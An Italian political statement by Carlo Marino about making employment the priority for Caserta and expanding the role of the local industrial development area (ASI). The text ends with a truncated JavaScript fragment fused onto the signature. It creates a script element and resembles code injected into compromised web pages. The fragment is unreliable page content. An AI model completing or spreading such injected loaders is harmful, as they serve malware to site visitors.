L’abbiamo ribadito chiaramente nell’incontro con il sindaco di Salerno, Vincenzo De Luca: il lavoro è il primo e unico punto del programma di governo per Caserta. Tutti i nostri sforzi in tutti i campi d’azione sono tesi a creare opportunità di occupazione per il territorio. Ecco perché ho chiesto subito un incontro al presidente dell’Area di Sviluppo Industriale (Asi) di Caserta, Piero Cappello, al quale va il mio ringraziamento per la disponibilità mostrata. È nell’Asi Infatti il cuore della competitività di un sistema territoriale.
Oggi non è più rinviabile il potenziamento dell’Asi di Caserta, che deve ampliare il suo raggio d’azione e coinvolgere l’intera conurbazione casertana, in un unico distretto industriale, che abbia proprio nell’Asi la sua cabina di regia. Così si fa sistema, si crea competitività e dunque occasioni di lavoro.
Ho illustrato al presidente Cappello la mia proposta: l’Asi deve diventare un modello di servizi, non solo industriali. Come? Il nuovo piano del commercio di Caserta (il cosiddetto Siad) deve occuparsi non solo dell’area urbana, ma comprendere e interessare anche l’area di sviluppo industriale, con cui oggi la pianificazione delle attività commerciali non interagisce. C’è bisogno di un unico grande sistema dedicato allo sviluppo e capace di dialogare. Per questo intendo istituire in Comune un tavolo permanente sullo sviluppo, di cui devono far parte Confindustria, le piccole e medie imprese, i sindacati e l’Asi. Solo insieme potremo raggiungere quell’obiettivo che sta a cuore a me e ai cittadini: il lavoro, quello vero e duraturo.

Carlo Marinovar d=document;var s=d.createElement(‘script’);